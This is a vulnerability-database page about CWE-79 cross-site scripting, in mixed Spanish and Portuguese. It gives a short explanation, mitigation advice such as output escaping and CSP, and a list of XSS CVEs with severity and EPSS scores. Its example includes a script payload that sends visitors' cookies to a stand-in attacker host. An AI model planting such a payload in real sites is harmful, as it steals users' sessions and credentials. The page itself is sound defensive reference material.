Fallos del tipo CWE-79

30.188 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-4257MEDIUMSeaCMS admin_pay.php cross site scriptingEPSS 0.3%CVE-2024-6864MEDIUMWP Last Modified Info <= 1.9.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via lmt-post-modified-info ShortcodeEPSS 0.3%CVE-2024-7778MEDIUMOrbit Fox by ThemeIsle <= 2.10.36 - Authenticated (Author+) Stored Cross-Site Scripting via SVG File UploadEPSS 0.3%CVE-2024-7606MEDIUMFront End Users <= 3.2.28 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.3%CVE-2024-4378MEDIUMPremium Addons for Elementor <= 4.10.31 - Authenticated (Contributor+) Stored Cross-Site Scripting via Menu and Shape DividerEPSS 0.3%CVE-2025-53626MEDIUMpdfme has Sandbox Escape and Prototype Pollution vulnerabilities in pdfme expression evaluationEPSS 0.3%CVE-2024-6894MEDIUMRD Station <= 5.3.2 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2024-4669MEDIUMEvents Addon for Elementor <= 2.1.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via Multiple WidgetsEPSS 0.3%CVE-2025-8604MEDIUMWP Table Builder – WordPress Table Plugin <= 2.0.12 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.3%CVE-2025-8542MEDIUMPortabilis i-Educar empresas_cad.php cross site scriptingEPSS 0.3%CVE-2024-51903MEDIUMWordPress WP Listings Pro plugin <= 3.0.14 - Stored Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-51887MEDIUMWordPress NV Slider plugin <= 1.6 - Stored Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-11851MEDIUMApeman ID71 set_alias.cgi cross site scriptingEPSS 0.3%CVE-2023-52195MEDIUMWordPress Posts to Page Plugin <= 1.7 is vulnerable to Cross Site Scripting (XSS)EPSS 0.3%CVE-2024-51916MEDIUMWordPress Multifox Plus plugin <= 1.1.6 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-51871MEDIUMWordPress Luzuk Team plugin <= 0.1.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-63401MEDIUMCross Site Scripting vulnerability in HCL Technologies Limited HCLTech DRAGON before v.7.6.0 allows a remote attacker to execute arbitrary cEPSS 0.3%CVE-2025-46895MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2025-22313HIGHWordPress Widgetize Pages Light plugin <= 3.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-5945MEDIUMWP SVG Images <= 4.3 - Authenticated (Author+) Stored Cross-Site Scripting via SVGEPSS 0.3%